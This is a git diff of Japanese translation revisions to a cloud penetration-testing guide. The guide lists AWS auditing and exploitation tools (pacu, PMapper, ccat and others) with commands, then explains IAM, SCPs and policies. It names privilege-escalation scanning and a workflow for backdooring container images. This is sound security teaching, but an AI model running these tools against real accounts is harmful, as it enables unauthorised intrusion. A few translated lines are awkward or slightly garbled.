[**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapperは、Amazon Web Services (AWS) 環境を分析するのに役立ちます。現在、セキュリティ問題の監査を含む、はるかに多くの機能が含まれています。 ```bash # Installation steps in github # Create a config.json file with the aws info, like: @@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` -- [**cartography**](https://github.com/lyft/cartography): Cartographyは、Neo4jデータベースによって駆動される直感的なグラフビューで、インフラストラクチャ資産とそれらの関係を統合するPythonツールです。 +- [**cartography**](https://github.com/lyft/cartography): Cartographyは、インフラストラクチャ資産とそれらの関係を直感的なグラフビューで統合するPythonツールで、Neo4jデータベースによって支えられています。 ```bash # Install pip install cartography @@ -239,9 +239,9 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** スキャンされたAWS環境で最も特権のあるユーザーを発見します。AWSシャドウ管理者を含みます。powershellを使用します。特権ポリシーの**定義**は、[https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)の**`Check-PrivilegedPolicy`**関数内で見つけることができます。 -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacuは、クラウド環境に対する攻撃的セキュリティテストのために設計されたオープンソースの**AWSエクスプロイトフレームワーク**です。**列挙**、**ミスコンフィギュレーション**の発見、そしてそれらを**エクスプロイト**することができます。特権の**定義**は、**`user_escalation_methods`**辞書内の[https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)で見つけることができます。 -- pacuは**自分のプライベスパスのみをチェックします**(アカウント全体ではありません)。 +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** スキャンされたAWS環境で最も特権のあるユーザーを発見します。AWS Shadow Adminsを含みます。powershellを使用します。特権ポリシーの**定義**は、[https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)の**`Check-PrivilegedPolicy`**関数内にあります。 +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacuは、クラウド環境に対する攻撃的セキュリティテストのために設計されたオープンソースの**AWSエクスプロイトフレームワーク**です。**列挙**、**ミスコンフィギュレーション**の発見、そしてそれらを**エクスプロイト**することができます。特権の**定義**は、**`user_escalation_methods`**辞書内の[https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)で見つけることができます。 +- pacuは**自分のプライベートパスのみをチェックします**(アカウント全体ではありません)。 ```bash # Install ## Feel free to use venvs @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) は、AWS アカウントまたは AWS 組織の AWS Identity and Access Management (IAM) の設定におけるリスクを特定するためのスクリプトとライブラリです。これは、アカウント内の異なる IAM ユーザーとロールを有向グラフとしてモデル化し、**特権昇格**のチェックや、攻撃者が AWS 内のリソースやアクションにアクセスするために取る可能性のある代替経路を確認できるようにします。**privesc** パスを見つけるために使用される**権限**は、[https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) の `_edges.py` で終わるファイル名で確認できます。 +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)は、AWSアカウントまたはAWS組織のAWS Identity and Access Management (IAM)の設定におけるリスクを特定するためのスクリプトおよびライブラリです。これは、アカウント内の異なるIAMユーザーとロールを有向グラフとしてモデル化し、**特権昇格**のチェックや、攻撃者がAWS内のリソースやアクションにアクセスするために取る可能性のある代替パスを確認できるようにします。**privesc**パスを見つけるために使用される**権限**は、[https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)の`_edges.py`で終わるファイル名にあります。 ```bash # Install pip install principalmapper @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplainingは、最小特権の違反を特定し、リスク優先のHTMLレポートを生成するAWS IAMセキュリティ評価ツールです。\ -それは、潜在的に**過剰な権限**を持つ顧客、インラインおよびAWS **ポリシー**、およびそれらにアクセスできる**プリンシパル**を示します。(それは特権昇格だけでなく、他の興味深い権限もチェックするため、使用を推奨します)。 +それは、潜在的に**過剰な権限**を持つ顧客、インラインおよびAWSの**ポリシー**、およびそれらにアクセスできる**プリンシパル**を示します。(それは特権昇格だけでなく、他の興味深い権限もチェックするため、使用を推奨します)。 ```bash # Install pip install cloudsplaining @@ -290,13 +290,13 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJackは、分離されたRoute53とCloudFrontの設定の結果として、AWSアカウントの**サブドメインハイジャック脆弱性**を評価します。 -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECRリポジトリのリスト -> ECRリポジトリをプル -> バックドアを仕掛ける -> バックドアを仕掛けたイメージをプッシュ +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJackは、分離されたRoute53とCloudFrontの構成の結果として、AWSアカウントの**サブドメインハイジャック脆弱性**を評価します。 +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECRリポジトリのリスト -> ECRリポジトリをプル -> バックドアを仕掛ける -> バックドア付きイメージをプッシュ - [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebagは、公開されたElastic Block Storage(**EBS)スナップショット**を通じて、偶然に残された可能性のある秘密を**検索**するツールです。 -### Audit +### 監査 -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** AquaのCloudSploitは、Amazon Web Services (AWS)、Microsoft Azure、Google Cloud Platform (GCP)、Oracle Cloud Infrastructure (OCI)、およびGitHubを含む**クラウドインフラストラクチャ**アカウントの**セキュリティリスク**を検出するために設計されたオープンソースプロジェクトです(ShadowAdminsは探しません)。 +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** AquaのCloudSploitは、Amazon Web Services(AWS)、Microsoft Azure、Google Cloud Platform(GCP)、Oracle Cloud Infrastructure(OCI)、およびGitHubを含む**クラウドインフラストラクチャ**アカウントの**セキュリティリスク**を検出するために設計されたオープンソースプロジェクトです(ShadowAdminsは探しません)。 ```bash ./index.js --csv=file.csv --console=table --config ./config.js @@ -314,7 +314,7 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFoxは、未知のクラウド環境での状況認識を得るのに役立ちます。これは、ペネトレーションテスターや他の攻撃的セキュリティ専門家がクラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるために作成されたオープンソースのコマンドラインツールです。 +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFoxは、未知のクラウド環境での状況認識を高めるのに役立ちます。これは、ペネトレーションテスターや他の攻撃的セキュリティ専門家がクラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるために作成されたオープンソースのコマンドラインツールです。 ```bash cloudfox aws --profile [profile-name] all-checks ``` @@ -330,13 +330,13 @@ scout --help scout aws -p dev ``` - [**cs-suite**](https://github.com/SecurityFTW/cs-suite): クラウドセキュリティスイート(python2.7を使用し、メンテナンスされていないようです) -- [**Zeus**](https://github.com/DenizParlak/Zeus): ZeusはAWS EC2 / S3 / CloudTrail / CloudWatch / KMSのベストハードニングプラクティスのための強力なツールです(メンテナンスされていないようです)。システム内のデフォルト設定されたクレデンシャルのみをチェックします。 +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeusは、AWS EC2 / S3 / CloudTrail / CloudWatch / KMSのベストハードニングプラクティスのための強力なツールです(メンテナンスされていないようです)。システム内のデフォルト設定されたクレデンシャルのみをチェックします。 ### 定常監査 -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodianは、パブリッククラウドアカウントとリソースを管理するためのルールエンジンです。ユーザーは**適切に管理されたクラウドインフラストラクチャを有効にするポリシーを定義**することができます。これは、組織が持つ多くのアドホックスクリプトを軽量で柔軟なツールに統合し、統一されたメトリクスとレポートを提供します。 +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodianは、パブリッククラウドアカウントとリソースを管理するためのルールエンジンです。ユーザーは、**適切に管理されたクラウドインフラストラクチャを有効にするためのポリシーを定義**できます。これは、組織が持つ多くのアドホックスクリプトを軽量で柔軟なツールに統合し、統一されたメトリクスとレポートを提供します。 - [**pacbot**](https://github.com/tmobile/pacbot)**: コードとしてのポリシーボット(PacBot)**は、**クラウドのための継続的なコンプライアンス監視、コンプライアンスレポート、およびセキュリティ自動化のプラットフォーム**です。PacBotでは、セキュリティとコンプライアンスのポリシーがコードとして実装されます。PacBotによって発見されたすべてのリソースは、これらのポリシーに対して評価され、ポリシーの適合性が測定されます。PacBotの**自動修正**フレームワークは、事前定義されたアクションを実行することによってポリシー違反に自動的に対応する能力を提供します。 -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlertは、サーバーレスの**リアルタイム**データ分析フレームワークであり、**定義したデータソースとアラートロジックを使用して、任意の環境からデータを取り込み、分析し、アラートを出す**ことを可能にします。コンピュータセキュリティチームは、StreamAlertを使用して、インシデント検出と対応のために毎日テラバイトのログデータをスキャンします。 +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlertは、サーバーレスの**リアルタイム**データ分析フレームワークであり、**データを取り込み、分析し、アラートを出す**ことを可能にします。これは、あなたが定義するデータソースとアラートロジックを使用します。コンピュータセキュリティチームは、StreamAlertを使用して、インシデント検出と対応のために毎日テラバイトのログデータをスキャンします。 ## DEBUG: AWS cliリクエストをキャプチャする ```bash diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 87269d440..7e7b744fa 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -21,13 +21,13 @@ AWSには**ルートアカウント**があり、これは**組織内のすべ - 組織からアカウントを削除する - 招待を管理する - 組織内のエンティティ(ルート、OU、またはアカウント)にポリシーを適用する -- 組織内のすべてのアカウントにサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。 +- 組織内のすべてのアカウントにわたってサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。 - このルートアカウント/組織を作成するために使用されたメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。 管理アカウントは**支払いアカウントの責任**を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。 - **メンバーアカウント**は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用することができます。 -- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできません(ただし、アクセスが与えられる場合があります)。 +- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできませんが(アクセスが与えられる場合があります)。 ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` @@ -38,40 +38,40 @@ aws organizations create-account --account-name testingaccount --email testingac # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` -### サービス制御ポリシー (SCP) +### サービスコントロールポリシー (SCP) -**サービス制御ポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーとロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM** 権限ポリシーに**似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**SCPはメンバーアカウント内のエンティティの権限を制限します**。 +**サービスコントロールポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーやロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM**権限ポリシーに似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**メンバーアカウント内のエンティティの権限が制限されます**。 -これは**ルートユーザーでさえも何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーに止めるために使用できます。\ +これは**ルートユーザーでさえ何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーに止めるために使用できます。\ これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです(マスターアカウントはブロックできません)。 > [!WARNING] -> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが` s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。 +> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが`s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。 SCPの例: - ルートアカウントを完全に拒否 - 特定のリージョンのみを許可 - ホワイトリストに登録されたサービスのみを許可 -- GuardDuty、CloudTrail、およびS3のパブリックブロックアクセスを無効にすることを拒否 +- GuardDuty、CloudTrail、およびS3パブリックブロックアクセスの無効化を拒否 - セキュリティ/インシデントレスポンスロールの削除または 変更を拒否。 - バックアップの削除を拒否。 -- IAMユーザーとアクセスキーの作成を拒否。 +- IAMユーザーとアクセスキーの作成を拒否 **JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。 ### ARN -**Amazonリソース名**は、AWS内のすべてのリソースが持つ**一意の名前**で、次のように構成されています: +**Amazonリソース名**は、AWS内のすべてのリソースが持つ**ユニークな名前**で、次のように構成されています: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -注意:AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです: +AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです: - AWS Standard: `aws` - AWS China: `aws-cn` @@ -80,17 +80,17 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ## IAM - アイデンティティとアクセス管理 -IAMは、AWSアカウント内で**認証**、**認可**、および**アクセス制御**を管理することを可能にするサービスです。 +IAMは、AWSアカウント内で**認証**、**承認**、および**アクセス制御**を管理することを可能にするサービスです。 - **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に分けることができます。 -- **認可** - アイデンティティがシステム内でアクセスできるものを決定します。 +- **承認** - アイデンティティがシステム内でアクセスできるものを決定します。これは認証された後のことです。 - **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス -IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、認可、アクセス制御メカニズムを管理、制御、統治する能力によって定義されます。 +IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、承認、およびアクセス制御メカニズムを管理、制御、統治する能力によって定義されます。 ### [AWSアカウントのルートユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが作成されます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。 +Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが与えられます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。 新しい**管理者ユーザー**は**ルートユーザーよりも権限が少ない**ことに注意してください。 @@ -98,24 +98,24 @@ Amazon Web Services (AWS) アカウントを最初に作成すると、アカウ ### [IAMユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -IAM _ユーザー_ は、AWS内で**人またはアプリケーションを表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報(パスワードと最大2つのアクセスキー)で構成されます。 +IAM _ユーザー_ は、AWS内で**それを使用してAWSと対話する人またはアプリケーション**を**表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報(パスワードと最大2つのアクセスキー)で構成されます。 -IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーをユーザーに直接添付**することができます(推奨)。 +IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーを直接ユーザーに添付**することができます(推奨)。 -ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります(例:[**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 +ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります(例 [**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 #### CLI -- **アクセスキーID**: 20のランダムな大文字の英数字の文字列(例:AKHDNAPO86BSHKDIRYT) -- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列(例:S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU)(失われたシークレットアクセスキーIDを取得することはできません)。 +- **アクセスキーID**: 20のランダムな大文字の英数字の文字列(例: AKHDNAPO86BSHKDIRYT) +- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列(例: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU)(失われたシークレットアクセスキーIDを取得することはできません)。 -アクセスキーを**変更する必要がある場合**は、次のプロセスに従う必要があります:\ +**アクセスキーを変更する必要がある場合**は、次のプロセスに従う必要があります:\ &#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ ### MFA - 多要素認証 -これは、既存の方法(パスワードなど)に加えて**認証のための追加の要素を作成する**ために使用され、マルチファクターレベルの認証を作成します。\ -無料の仮想アプリケーションや物理デバイスを使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。 +これは、既存の方法(パスワードなど)に加えて**認証のための追加の要素を作成する**ために使用され、したがって多要素の認証レベルを作成します。\ +**無料の仮想アプリケーションまたは物理デバイス**を使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。 MFA条件を持つポリシーは、以下に添付できます: @@ -123,39 +123,41 @@ MFA条件を持つポリシーは、以下に添付できます: - Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース - ユーザーによって引き受けられるIAMロールの信頼ポリシー -MFAを**チェックする**リソースに**CLI経由でアクセスしたい場合**は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\ -**`AssumeRole`の資格情報にはこの情報が含まれていない**ことに注意してください。 +**CLIを介して**MFAを**チェックする**リソースにアクセスしたい場合は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\ +**`AssumeRole`の資格情報にはこの情報は含まれていない**ことに注意してください。 ```bash aws sts get-session-token --serial-number --token-code ``` -As [**ここに記載されているように**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。 +以下の内容は、AWSにおけるMFAの使用に関する情報です。 + +As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。 ### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。 +IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度にアタッチする**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。 -**ユーザーグループにアイデンティティベースのポリシーを適用する**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取る**ことができます。**ユーザーグループ**を**ポリシー**(リソースベースのポリシーなど)内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。 +**ユーザーグループにアイデンティティベースのポリシーをアタッチ**することで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取ります**。**ユーザーグループ**を**ポリシー**(リソースベースのポリシーなど)内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。 -ユーザーグループのいくつかの重要な特徴は次のとおりです: +ユーザーグループの重要な特徴は以下の通りです: -- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができ**ます。 +- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができます**。 - **ユーザーグループはネストできません**。ユーザーのみを含むことができ、他のユーザーグループは含められません。 -- **すべてのユーザーを自動的に含むデフォルトのユーザーグループはAWSアカウントには存在しません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。 +- **AWSアカウント内のすべてのユーザーを自動的に含むデフォルトのユーザーグループはありません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。 - AWSアカウント内のIAMリソースの数とサイズ(グループの数や、ユーザーがメンバーになれるグループの数など)は制限されています。詳細については、[IAMおよびAWS STSのクォータ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)を参照してください。 ### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **ロール**は**ユーザー**に非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。特定の人に一意に関連付けられるのではなく、ロールは**必要な人(十分な権限を持つ人)が引き受けることを意図しています**。IAMユーザーは、特定のタスクのために一時的に異なる権限を取得するためにロールを**引き受けることができます**。ロールは、IAMの代わりに外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。 +IAM **ロール**は**ユーザー**に非常に**似ています**。それは、AWSで何ができるかを決定する**権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**(パスワードやアクセスキー)が**ありません**。ロールは特定の人に一意に関連付けられるのではなく、**必要な人が誰でも引き受けられることを意図しています(十分な権限がある場合)**。**IAMユーザーはロールを引き受けて、一時的に**特定のタスクのために異なる権限を持つことができます。ロールは、IAMではなく外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。 -IAMロールは**2種類のポリシー**で構成されています:**信頼ポリシー**(空であってはならず、**誰がロールを引き受けることができるかを定義**)と、**権限ポリシー**(空であってはならず、**何にアクセスできるかを定義**)。 +IAMロールは、**2種類のポリシー**で構成されています:**信頼ポリシー**(空であってはならず、**誰がロールを引き受けることができるかを定義**)と、**権限ポリシー**(空であってはならず、**何にアクセスできるかを定義**)。 #### AWSセキュリティトークンサービス(STS) -AWSセキュリティトークンサービス(STS)は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に次の目的に特化しています: +AWSセキュリティトークンサービス(STS)は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に以下の目的に特化しています: ### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報を要求できます。これにより、**より制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。 +**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報をリクエストできます。これにより、**制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。 ### ポリシー @@ -163,11 +165,11 @@ AWSセキュリティトークンサービス(STS)は、**一時的で制限 権限を割り当てるために使用されます。2種類あります: -- AWS管理ポリシー(AWSによって事前構成されたもの) -- カスタマー管理ポリシー:あなたが構成したもの。AWS管理ポリシーに基づいてポリシーを作成できます(そのうちの1つを修正して独自のものを作成する)、ポリシージェネレーターを使用する(権限を付与および拒否するのを助けるGUIビュー)または独自に作成することができます。 +- AWS管理ポリシー(AWSによって事前設定されたもの) +- カスタマー管理ポリシー:あなたが設定したもの。AWS管理ポリシーに基づいてポリシーを作成できます(そのうちの1つを修正して自分のものを作成する)、ポリシージェネレーターを使用する(権限を付与および拒否するのを助けるGUIビュー)または自分で書くことができます。 -**デフォルトのアクセスは** **拒否されます**。明示的なロールが指定された場合にのみアクセスが許可されます。\ -**単一の「拒否」が存在する場合、それは「許可」を上書きします**。AWSアカウントのルートセキュリティ資格情報を使用するリクエスト(デフォルトで許可されている)は除きます。 +**デフォルトのアクセスは** **拒否**され、明示的なロールが指定された場合にのみアクセスが許可されます。\ +**単一の「拒否」が存在する場合、それは「許可」を上書きします**。ただし、AWSアカウントのルートセキュリティ資格情報を使用するリクエスト(デフォルトで許可されている)は除きます。 ```javascript { "Version": "2012-10-17", //Version of the policy @@ -190,31 +192,31 @@ AWSセキュリティトークンサービス(STS)は、**一時的で制限 ] } ``` -The [グローバルフィールドは、任意のサービスで条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\ -[特定のフィールドは、サービスごとに条件に使用できるものがここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。 +[グローバルフィールドは、任意のサービスの条件に使用できることが文書化されています](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\ +[サービスごとに条件に使用できる特定のフィールドはここに文書化されています](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。 #### インラインポリシー -この種のポリシーは、**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰かが使用できるようにポリシーリストには表示されません。\ -インラインポリシーは、ポリシーとそれが適用されるアイデンティティとの間に**厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。 +この種のポリシーは**ユーザー、グループ、またはロールに直接割り当てられます**。そのため、他の誰も使用できるようにはポリシーリストに表示されません。\ +インラインポリシーは、**ポリシーと適用されるアイデンティティとの間に厳密な1対1の関係を維持したい場合**に便利です。たとえば、ポリシー内の権限が意図されたアイデンティティ以外に誤って割り当てられないことを確認したい場合です。インラインポリシーを使用すると、ポリシー内の権限が誤って間違ったアイデンティティに添付されることはありません。さらに、AWS Management Consoleを使用してそのアイデンティティを削除すると、アイデンティティに埋め込まれたポリシーも削除されます。これは、それらが主エンティティの一部であるためです。 #### リソースバケットポリシー -これらは**リソース**に定義できる**ポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。 +これらは**リソースに定義できるポリシー**です。**すべてのAWSリソースがそれをサポートしているわけではありません**。 もし主がそれらに対して明示的な拒否を持っておらず、リソースポリシーがアクセスを許可している場合、彼らは許可されます。 ### IAMバウンダリー -IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、彼がそれらを使用しようとすると操作は**失敗**します。 +IAMバウンダリーは、**ユーザーまたはロールがアクセスできる権限を制限するために使用できます**。このように、異なるポリシーによってユーザーに異なる権限が付与されても、操作は**失敗**します。 